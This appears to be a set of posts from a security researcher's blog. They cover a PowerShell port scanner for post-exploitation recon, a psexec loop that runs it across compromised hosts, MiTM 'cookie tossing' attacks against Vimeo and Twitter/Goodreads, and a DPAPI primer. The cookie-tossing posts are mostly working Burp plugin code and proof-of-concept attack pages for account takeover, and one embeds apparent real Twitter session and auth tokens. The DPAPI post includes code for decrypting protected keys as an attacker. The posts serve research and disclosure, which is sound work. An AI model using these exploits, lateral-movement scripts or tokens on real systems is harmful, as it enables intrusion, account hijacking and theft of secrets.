Powershell Portscanner

Here is the github link: https://github.com/webstersprodigy/PowerSploit/blob/Portscan/Recon/Invoke-Portscan.ps1. I’ve also put in a pull request on the awesome powersploit project, where hopefully it gets accepted and finds a more permanent home.

The first question is, why another port scanner?

  1. Similar to why you’d do anything in powershell in a post exploitation scenario :) You never have to write to disk, install software, or run as admin. You can just run this on any box with powershell. Nmap is better in most ways, but it doesn’t fit this bill.
  2. There are other powershell portscanners out there. Although they are good, in my opinion this is better than all of these existing scripts. For example, the one I linked to isn’t bad in any way, and is in fact the best I found comparable to what I’ve written. But it will take orders of magnitude longer to do scans, it’s not as flexible on the input options, it won’t work in powershell 2.0 out of the box (important for scenarios like I describe below), it doesn’t support ipv6, etc.
  3. Metasploit has auxilliary portscanners and it is also possible to pivot nmap scans through socks. IMO these are too slow to be usable. This looks promising http://blog.securestate.com/new-meterpreter-extension-released-msfmap-beta/ and it might be a better option if you do all your pwning through meterpreter.

Example 1 – Quick Sweep

You’ve compromised a host and you want to quickly see what other hosts/common ports are available on the same network. Say the sysadmins use RDP to manage the domain, so you’re using RDP on this host too. You don’t want to install any new software just now. My typical workflow is to actually just use -oA, which will output greppable, readable and xml files (sort of like nmap) and I use those to peruse the output. Depending on the number of hosts up, this should take about two minutes or so and it’s checking the top 50 ports.

PS> Import-Module .\Invoke-Portscan.ps1
PS> Invoke-Portscan -hosts "192.168.1.0/24" -oA stuff
PS> type .\alltest.gnmap | findstr Open
Host: 192.168.1.1       Open Ports: 443,53,22,5000
...

pscan

The module also outputs valid powershell objects, so you can save/pipe these and do the usual operations. Below is answering almost the same question

PS> Import-Module .\Invoke-Portscan.ps1
PS> $a = Invoke-Portscan -hosts "192.168.1.0/24"
PS> #print out only alive hosts
PS> foreach ($h in $a) {if ($h.alive) {$h}}

Hostname      : 192.168.1.1
alive         : True
openPorts     : {443, 53, 22, 5000}
closedPorts   : {}
filteredPorts : {80, 23, 21, 3389...}
finishTime    : 6/30/2013 11:56:54 AM

...

Example 2: Finding the way in

There are certain questions that can be hard to answer with traditional portscanning (nmap, metasploit, etc.). Say I have code execution on N boxes, but I want to make it to the “jewell box”. I currently can’t access it, but one of my N boxes may be able to access it, or something “closer” to the jewell. This can be common if they open up only certain ports and routes with IP whitelisting in related but separate environments. Behold my awesome visio skills as I demonstrate:

vlan

So what we want to do is tell all of our N boxes to scan all the hosts in vlan C, the place with the jewel, and see if any of our N boxes are able to reach it.

We can modify the invoke-powershell.ps1 script slightly to include our command at the end of it, outside of the function. This is similar to the basic usage above. But rather than execute it once, we want to try a portscan on the N hosts we control. Here is the line added to invoke-portscan, where 10.0.10.0 is the “jewel” network.

Invoke-Portscan -Hosts 10.0.10.0/24 -PingOnly -PS "80,443,445,8080,3389" -noProgressMeter

Now on the N hosts we control, we can use remote powershell, if it’s enabled. Here is a one liner that can call our modified script on a box that has remote powershell enabled. This can be easily customized to loop through all of your hosts, depending on how they auth, etc.

$a = Invoke-Command -ComputerName webstersprodigy.cloudapp.net -Port 54932 -Credential lundeen -UseSSL -FilePath C:\psScripts\Invoke-Portscan-mod.ps1

Another way to do this (other than remote powershell) is psexec. This will be executed on every host in hostfile.txt, so we’ll know about any host that can reach our destination. Obviously this is quick and dirty, but it demonstrates the flexibility.

$oFile = "pscan.txt"
$thosts = Get-Content hostfile.txt

foreach ($thost in $thosts)
{
    $nPath = "\\$thost\c$\Windows\Temp\stuff.ps1"
    copy -Path C:\Users\mopey\Desktop\Invoke-Portscan-mod.ps1 -Destination $nPath
    #psexecing powershell directly hangs as described here 
    #http://www.leeholmes.com/blog/2007/10/02/using-powershell-and-psexec-to-invoke-expressions-on-remote-computers/

    $myoutput = PsExec.exe /accepteula \\$thost cmd /c "echo . | powershell.exe -executionpolicy bypass $nPath"  2>&1 

    foreach($line in $myoutput) {
        Write-Host $line
        if($line.GetType().Name -eq "string") {
            if($line.Contains("True")) {
                echo "Source: $thost" >> $oFile
                break
            }
        }
    }
    remove-item $nPath
}

Conclusion and Lazy Reference

Thanks for reading, and let me know if you try it out, find it useful, have suggestions, etc. For the lazy, here is a reference to the args and some more examples, included with the source

> Get-Help Invoke-Portscan -full

NAME
    Invoke-Portscan
    
SYNOPSIS
    Simple portscan module
    
    PowerSploit Function: Invoke-Portscan
    Author: Rich Lundeen (http://webstersProdigy.net)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
    
SYNTAX
    Invoke-Portscan -Hosts <String[]> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>] [-TopPorts <String>] [-ExcludedPorts <String>] 
    [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>] [-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] 
    [-T <Int32>] [-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter] [-quiet] [-ForceOverwrite] 
    [<CommonParameters>]
    
    Invoke-Portscan -HostFile <String> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>] [-TopPorts <String>] [-ExcludedPorts <String>] 
    [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>] [-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] 
    [-T <Int32>] [-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter] [-quiet] [-ForceOverwrite] 
    [<CommonParameters>]
    
    
DESCRIPTION
    Does a simple port scan using regular sockets, based (pretty) loosely on nmap
    

PARAMETERS
    -Hosts <String[]>
        Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in
        
        Required?                    true
        Position?                    named
        Default value                
        Accept pipeline input?       true (ByValue)
        Accept wildcard characters?  false
        
    -HostFile <String>
        Input hosts from file rather than commandline
        
        Required?                    true
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ExcludeHosts <String>
        Exclude these comma seperated hosts
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Ports <String>
        Include these comma seperated ports (can also be a range like 80-90)
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -PortFile <String>
        Input ports from a file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -TopPorts <String>
        Include the x top ports - only goes to 1000, default is top 50
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ExcludedPorts <String>
        Exclude these comma seperated ports
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SkipDiscovery [<SwitchParameter>]
        Treat all hosts as online, skip host discovery
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -PingOnly [<SwitchParameter>]
        Ping scan only (disable port scan)
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -DiscoveryPorts <String>
        Comma separated ports used for host discovery. -1 is a ping
        
        Required?                    false
        Position?                    named
        Default value                -1,445,80,443
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Threads <Int32>
        number of max threads for the thread pool (per host)
        
        Required?                    false
        Position?                    named
        Default value                100
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -nHosts <Int32>
        number of hosts to concurrently scan
        
        Required?                    false
        Position?                    named
        Default value                25
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Timeout <Int32>
        Timeout time on a connection in miliseconds before port is declared filtered
        
        Required?                    false
        Position?                    named
        Default value                2000
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SleepTimer <Int32>
        Wait before thread checking, in miliseconds
        
        Required?                    false
        Position?                    named
        Default value                500
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SyncFreq <Int32>
        How often (in terms of hosts) to sync threads and flush output
        
        Required?                    false
        Position?                    named
        Default value                1024
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -T <Int32>
        [0-5] shortcut performance options. Default is 3. higher is more aggressive. Sets (nhosts, threads,timeout)
            5 {$nHosts=30;  $Threads = 1000; $Timeout = 750  }
            4 {$nHosts=25;  $Threads = 1000; $Timeout = 1200 }
            3 {$nHosts=20;  $Threads = 100;  $Timeout = 2500 }
            2 {$nHosts=15;  $Threads = 32;   $Timeout = 3000 }
            1 {$nHosts=10;  $Threads = 32;   $Timeout = 5000 }
        
        Required?                    false
        Position?                    named
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -GrepOut <String>
        Greppable output file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -XmlOut <String>
        output XML file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ReadableOut <String>
        output file in 'readable' format
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -AllformatsOut <String>
        output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -noProgressMeter [<SwitchParameter>]
        Suppresses the progress meter
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -quiet [<SwitchParameter>]
        supresses returned output and don't store hosts in memory - useful for very large scans
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ForceOverwrite [<SwitchParameter>]
        Force Overwrite if output Files exist. Otherwise it throws exception
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer and OutVariable. For more information, see 
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216). 
    
INPUTS
    
OUTPUTS
    
NOTES
    
    
        version .13
    
    -------------------------- EXAMPLE 1 --------------------------
    
    C:\PS>Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
    
    
    Description
    -----------
    Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com
    
    
    
    
    
    -------------------------- EXAMPLE 2 --------------------------
    
    C:\PS>echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
    
    
    Description
    -----------
    Does a portscan of "webstersprodigy.net", and writes a greppable output file
    
    
    
    
    
    -------------------------- EXAMPLE 3 --------------------------
    
    C:\PS>Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
    
    
    Description
    -----------
    Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats
    
    
    
    
    
    
RELATED LINKS
    http://webstersprodigy.net

Cookie Tossing in the Middle

In the past I’ve talked about one way to get in the middle as an attacker and use Burp as a MiTM proxy. One very nice thing to do in this position is to write cookies. This is a small part of my Blackhat talk from March, with related posts here.

Bypassing Double Submit Cookies on Vimeo

Say, for example, you have a web app that uses double submit cookies to prevent CSRF. I talk about this too much. You can bypass this protection with XSS in a neighboring site, but here’s how to practically do it as an attacker in the middle (although there are a million ways to do this).

One example is vimeo.com. When I was checking for OAuth CSRF flaws, vimeo seemed to do pretty good. They sent a state parameter and as far as I could tell this piece was fine. But for their generic CSRF protection, I noticed they were using plain double submit cookies. So a default POST request might look like this – note how the highlighted xsrft cookie and token parameter are equal:

vimeo1

It turns out that if you change the CSRF cookie/POST parameter pair, as long as they are equal the request will go through. So for example, even though you can’t read the secret cookie/post parameters without an xss, you could set the cookie (token) equal to “a” and the post parameter (xsrft) also equal to “a”. This is classic double submit. Vimeo relies on the fact that cookies are hard to write to prevent CSRF. On the same network, we can defeat this easily even if the requests are over HTTPS and the cookies are set with “secure”. Here are the hack steps:

  1. Redirect traffic to route through my attacker box, (like with ettercap, or with python and scapy like how I show Here). The goal is to simply arp poison the network and pass through all traffic, except port 80 is redirected to localhost Burp.
  2. Write an oversimplified burp plugin that waits for a specific request on the target domain (e.g. vimeo). This is not necessarily a request initiated by the user, as we’ll be forcing the user to make this request later. If the plugin sees that request, write the xsrft cookie to a known value. Note this will even write over secure/HttpOnly cookies. Although secure can prevent a cookie from being read over HTTP, it does not prevent it being written over. Although HSTS headers can mitigate this somewhat in some browsers, unless they force HTTPS at the root domain and all subdomains, then we can probably force the app to consume our attacker cookie:

    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "vimeo.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "xsrft=bad111bad111; domain=vimeo.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "pwned!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Our attack page doesn’t totally make use of our man in the middle, but it does use it for setting the CSRF cookie. Note the iframe request to http://vimeo.com/asdfasdfasdfasdfasdfasdf – this response will be sent from the burp plugin we have in place. The rest of this attack is the same as my OAuth weakness post from a couple weaks ago. Obviously, there are a lot of improvements that could be made. If we were serious, we’d probably just wait for HTTP requests, insert Javascript into those to do our bidding for us. But this is just a demo.
    <html>
      <body>
       <script type="text/javascript">
    
       function fb_login() {
        return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
       function vimeo_addlogin() {
         return (window.open("./vimeo_submit.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
    
       function pwn() {
         win1 = fb_login();
         //win1.close()
      }
    
       function pwn2() {
         win2 = vimeo_addlogin();
         //win1.close()
      }
    
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to vimeo</li>
       <li>First the cookies need to be set for vimeo.com. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>click "pwn2" - the easiest way to hide this is with 2 clicks</li>
       <li>An attacker now owns your vimeo account!</li>
       </ul>
    
       <!-- necessary to get cookies if we haven't visited facebook -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox></iframe>
       <!--Note this will set our vimeo cookies -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://vimeo.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      <a href="#" onclick="pwn2()">pwn2</a>
      </body>
    </html>
    
    

Here is the attack in action:

Logging Someone into Another site

There was some confusion on my last post with OAuth CSRF I think, about it only being a Facebook problem. I don’t believe this is true. Although Facebook should fix the CSRF on their login imo, in a variety of circumstances it’s still possible to do almost the same attack against sites using other identity providers, like Twitter, Google, etc. (even though these other ID providers don’t have CSRF in their login). One of these circumstances is if there is an XSS somewhere in an ID provider’s neighbor site (e.g. if feedburner.google.com has xss you could log someone in to your attacker Google account). Another of these circumstances is if there is a man in the middle, where you can just manufacture this xss. This is what I’m showing here.

We can modify the OAuth CSRF attack above just slightly, and a man in the middle can compromise these sites with Twitter instead of Facebook. Here are the hack steps.

  1. Redirect traffic to route through my attacker box, as illustrated Here. This simply arp poisons the network, and passes through all traffic, except port 80 is redirected to localhost Burp.
  2. Write a Burp Plugin to toss cookies similar to above. In this case, it will toss cookies into Twitter to log the victim in as the attacker
    
    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "twitter.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "_twitter_sess=BAh7EDoJdXNlcmwrB1DcLEM6D2NyZWF0ZWRfYXRsKwh3WImrPAE6DnJldHVy%250Abl90byJlaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vb2F1dGgvYXV0aGVudGlj%250AYXRlP29hdXRoX3Rva2VuPVVGQ1pYamJaUGMySzNmaFVoWHZjM0Q4ZjAyZXJN%250AUU1oZmxKc21remxrOhNzaG93X2hlbHBfbGluazA6FWluX25ld191c2VyX2Zs%250Ab3cwOgxjc3JmX2lkIiVhMzc3YWM3NjQ1ODJlOTNhODY5YjgyNDVjMjc1YTEw%250AYyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFz%250AaHsABjoKQHVzZWR7ADoTcGFzc3dvcmRfdG9rZW4wOhBzdGF5X3NlY3VyZVQ6%250AG3Nlc3Npb25fcGFzc3dvcmRfdG9rZW4wOgdpZCIlMmU2OGZhNGVjYWY1MGUy%250AMTVkYjllOGU0MTYyMjdiNGE%253D--e649d4f0aa1f2c4108d1539caa322af0ae32c8a4;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023";
    document.cookie = "auth_token=05a111348a605f4f546e60e6584adc4d4c69eacf;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twid=u%3D1127013456%7C0skYHxGKiKD8EF9Yb1fQqI%2F5YVk%3D;Domain=.twitter;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twll=l%3D1360087643;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "Twitter Cookies Tossed!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Once again, continue with a nearly identical attack, but this time using Twitter as the identity provider instead of Facebook. Here is an example against Goodreads. In practice, this is essentially useless since Goodreads is over HTTP, but the same principles apply to sites over HTTPS.
    <html>
      <body>
       <script type="text/javascript">
    
       function pwn() {
         location = "http://www.goodreads.com/user/twitter_sign_in";
      }
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to goodreads</li>
       <li>First the cookies need to be set for twitter. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>An attacker now owns your goodreads account!</li>
       </ul>
    
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://twitter.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      </body>
    </html>
    
    

Here is a video of this in action. Again, what this is doing is arp poisoning the network, logging the victim in to the attacker’s twitter account, and then exploiting the OAuth CSRF. In retrospect, I should have picked on a site that uses HTTPS for better effect :)

DPAPI Primer for Pentesters

Update 6 July 2013 – fixed info when user store may decrypt on separate machine

Understanding DPAPI is not that complicated, although the amount of the documentation can be daunting. There is a lot of excellent “under the hood” DPAPI stuff available (e.g. Stealing Windows Secrets Offline http://www.blackhat.com/html/bh-dc-10/bh-dc-10-briefings.html) But is it easier to steal these secrets online? The answer is yes, probably.

DPAPI’s purpose in life is to store secrets. These are frequently symmetric crypto keys used to encrypt other things. For example, typical use cases for these protected keys are for them to encrypt anything from saved passwords in an RDP connection manager on a Desktop to encrypting sensitive info in a database (e.g. bank account numbers). Using DPAPI to store sensitive info (or store keys that encrypt sensitive info) is good practice.

There are a few concepts to understand before using DPAPI

  • You can encrypt/decrypt the secrets using either a “user store” or a “machine store”. This is where the entropy comes from. What this means is:
    • If you use the user store, then this secret may only be read by this user on this machine. In the testing I’ve done, it cannot be read by the same domain user on a different machine either.
    • If you use the machine store, any user on the machine is able to decrypt the secrets – including Network User (e.g. IIS), Guest, etc. In the testing I’ve done, this is certainly less restrictive/secure than the user store (user store takes into account the machine also).
  • Secondary Entropy: One argument to the DPAPI calls is the secondary entropy argument. Using this, an application needs to know this secret before the data is decrypted.

A few common misconceptions

  • I’ve heard from several people how the user’s login password is used for entropy. This does not really tell the whole story.  An attacker does not need to know the password to retrieve DPAPI, they just need to be executing with the account/machine. This is often an easier problem than retrieving a password.
  • It can be easy to mix up DPAPI and other things that make use of DPAPI. For example, the credential store is an API that uses DPAPI

A pretend good setup

If things are done basically correct, then a good scheme might be something like this:

  • There’s a server database that stores encrypted bank account numbers 
    • It needs to decrypt these for regular use
    • The encryption/integrity of this data uses a good authenticated encryption scheme, say AES/GCM.
  • The question is, where do we store the key?
    • We use DPAPI in user mode to encrypt the data
    • The user used that can access the data is a locked down domain service account with limited permissions. For example, the service account can’t log in to the box, and is a different user than the database runs as.
    • The DPAPI encrypted blob is stored in an ACLed part of the registry so only the service account has access

An overly simplified example might be the following, which runs at deployment time.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Security.AccessControl;

namespace encrypt_dpapi
{
    class Program
    {
        private const string MASTER_REG_KEY_PATH = @"SOFTWARE\Contoso\dbapp";
        private const string MASTER_REG_KEY_NAME = @"bankkey";
        private const string SERVICE_ACCT = @"EVIL\_mservice";

        public static void WriteMachineReg(string path, string valuename, string value)
        {
            RegistryKey bank_reg = Registry.LocalMachine.CreateSubKey(MASTER_REG_KEY_PATH);

            //set the ACLs of the key so only service account has access
            RegistrySecurity acl = new RegistrySecurity();
            acl.AddAccessRule(new RegistryAccessRule(SERVICE_ACCT, RegistryRights.FullControl, AccessControlType.Allow));
            acl.SetAccessRuleProtection(true, false);

            bank_reg.SetAccessControl(acl);

            //write the key
            bank_reg.SetValue(MASTER_REG_KEY_NAME, value);

            bank_reg.Close();


        }

        //we want the symmetric key to be randomly generated and no one to even know it!
        public static byte[] genSymmetricKey(int size)
        {
            RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
            byte[] buf = new byte[size];
            rng.GetBytes(buf);
            return buf;
        }

        static void Main(string[] args)
        {
            //check that we're running as the correct service account
            string user = WindowsIdentity.GetCurrent().Name;
            if (!user.Equals(SERVICE_ACCT, StringComparison.OrdinalIgnoreCase))
            {
                Console.WriteLine("Error: must run as " + SERVICE_ACCT + " Account");
                Console.WriteLine(user);
                Console.WriteLine("Exiting program");
                return;
            }


            //generate a random key we'll use to encrypt bank accounts
            byte[] key = genSymmetricKey(256);
            Console.WriteLine("Key " + Convert.ToBase64String(key));

            byte[] additional_entropy = {0x41, 0x41, 0x41, 0x41};

            //dpapi encrypt the key
            byte[] enc_key = ProtectedData.Protect(key, additional_entropy, DataProtectionScope.CurrentUser);

            //dpapi encrypted key is saved in base64
            WriteMachineReg(MASTER_REG_KEY_PATH, MASTER_REG_KEY_NAME, Convert.ToBase64String(enc_key));


        }
    }
}

If I run this, I get

>encrypt_dpapi.exe
Key 721HLUm5n9/0hpAFtBl3Jvn2jJ+KM3z4mPKfyLCHOAZyx/JUP6qs+DCVpwWCqbmB3CZc+o6qXeY4
T+ivRkgn6ZLUSTInuhIh96qRPC9DXZD/ALUg5NTdoWtxYaSq4uOeF6ywh1hRyLyVKSopdHkR4ZycFKV9
KIIX+O5pKK/sYBRwvkhnIwpbLO3Qps7FK5x3wNlj5OwLOfl31bs8rE0Qk/yzvhzT5+zF7BJx/j/qUCGa
g8f8PGOBhi/Ch0lGDWW203rbwdfMC8fmHAYfR4FdlU2L90lmEOCY8Mgjno4ScAGgKPyFS74TLaufLKiz
tjBaAKt89JGaNHOizWvdIGsoMw==

This is the base64 version of the key used to decrypt bank account numbers – so ultimately what we as attackers want. But if I look in the registry (where this info is stored) I get something completely different

dpapi_registry

 

So how can we get decrypted Bank Account Numbers?

Say we’re an attacker and we have system privs on the box above. How can we decrypt the bank account numbers?

There’s probably more than one way. One method may be to scan memory and extract the key from memory (but if it uses safe memory protection it may not be in there long…). Another method may be to attach a debugger to the app and extract it that way. For a production pentest, one of the most straightforward ways just to use DPAPI again to decrypt the data.

using System;
using System.Text;
using System.Runtime.InteropServices;
using System.ComponentModel;
using Microsoft.Win32;
using System.Security.Cryptography;



namespace decrypt_dpapi_reg
{

    public class registry
    {
        public static string ReadMachineReg(string path, string valuename)
        {
            return (string)Registry.GetValue(path, valuename, "problem");
        }
    }

    class Program
    {

        private const string MASTER_REG_KEY_PATH = @"SOFTWARE\Contoso\dbapp";
        private const string MASTER_REG_KEY_NAME = @"bankkey";
        private const string SERVICE_ACCT = @"EVIL\_mservice";   


        public static byte[] UnprotectUser(string data)
        {
            try
            {
                byte[] additional_entropy = { 0x41, 0x41, 0x41, 0x41 };
                byte[] encryptData = Convert.FromBase64String(data);
                return ProtectedData.Unprotect(encryptData, additional_entropy, DataProtectionScope.CurrentUser);
                
            }
            catch (CryptographicException e)
            {
                Console.WriteLine("Data was not decrypted. An error occurred.");
                Console.WriteLine(e.ToString());
                return null;
            }
        }


        static void Main(string[] args)
        {
            //must be run as a user with access on a machine with access
            string s = registry.ReadMachineReg(@"HKEY_LOCAL_MACHINE\" + MASTER_REG_KEY_PATH, MASTER_REG_KEY_NAME);

            Console.WriteLine("DPAPI encrypted key: " + s);
            Console.WriteLine();

            Console.WriteLine("DPAPI encrypted key: " + BitConverter.ToString(Convert.FromBase64String(s)));
            Console.WriteLine();

            byte[] decryptedbytes = UnprotectUser(s);
            Console.WriteLine(Convert.ToBase64String(decryptedbytes));
            
        }
    }

}

If we try to run this as another user, what happens? It won’t work. We’ll get an exception like this:

System.Security.Cryptography.CryptographicException: Key not valid for use in specified state.

   at System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData,Byte[] optionalEntropy, DataProtectionScope scope)
   at decrypt_dpapi_reg.Program.UnprotectUser(String data)

DPAPI uses the user entropy to encrypt the data, so we need to compromise the user. But what happens if we copy out the registry value to another machine and try to DPAPI to decrypt the secrets on another box as the EVIL\_mservice account, what happens?

It turns out in my testing this does not work, and I got the same exception as a bad user on the same machine. I needed to run on the same machine that encrypted the key. UPDATE However, there are several reasons it may not work, but it should work overall. From http://support.microsoft.com/kb/309408#6

DPAPI works as expected with roaming profiles for users and computers that are joined to an Active Directory directory service domain. DPAPI data that is stored in the profile acts exactly like any other setting or file that is stored in a roaming profile. Confidential information that the DPAPI helps protect are uploaded to the central profile location during the logoff process and are downloaded from the central profile location when a user logs on.
For DPAPI to work correctly when it uses roaming profiles, the domain user must only be logged on to a single computer in the domain. If the user wants to log on to a different computer that is in the domain, the user must log off the first computer before the user logs on to the second computer. If the user is logged on to multiple computers at the same time, it is likely that DPAPI will not be able to decrypt existing encrypted data correctly.
DPAPI on one computer can decrypt the master key (and the data) on another computer. This functionality is provided by the user’s consistent password that is stored and verified by the domain controller. If an unexpected interruption of the typical process occurs, DPAPI can use the process described in the “Password Reset” section later in this article.
There is a current limitation with roaming profiles between Windows XP-based or Windows Server 2003-based computers and Windows 2000-based computers. If keys are generated or imported on a Windows XP-based or Windows Server 2003-based computer and then stored in a roaming profile, DPAPI cannot decrypt these keys on a Windows 2000-based computer if you are logged on with a roaming user profile. However, a Windows XP-based or Windows Server 2003-based computer can decrypt keys that are generated on a Windows 2000-based computer.

Blackbox Detection

DPAPI can be really tough to do with a complete blackbox. As part of an engagement, if I’ve compromised this far, I usually go hunting for the source which is frequently less protected than the DPAPI protected asset. But one giveaway that you’re even dealing with DPAPI is if a blob has a structure similar to the following:

dpapi_format

We can be a bit more scientific about this. Comparing two runs of the same program above gives the following bytes that are the same (note that since the key itself is random but a constant length, this reveals a bit about the structure). This is documented better elsewhere I’m sure, but if something looks quite a bit like this, it should give you a quick idea if you’re dealing with a dpapi encrypted blob.

01-00-00-00-D0-8C-9D-DF-01-15-D1-11-8C-7A-00-C0-4F-C2-97-EB
-01-00-00-00-08-DC-D9-58-94-2E-C9-4A-9C-59-12-F1-60-EA-6C-56-00-00-00-00-02-00-0
0-00-00-00-03-66-00-00-C0-00-00-00-10-00-00-00-xx-xx-xx-xx-xx-xx-xx-xx-xx-xx-xx-
xx-xx-xx-xx-xx--00-00-00-00-04-80-00-00-A0-00-00-00-10-00-00-00-xx.....

Dan Guido’s Favorite Food? (A script to search reddit comments)

CSAW CTF was fun. My team (ACMEPharm) solved all the challenges but network 400, which was a dumb challenge anyway :P

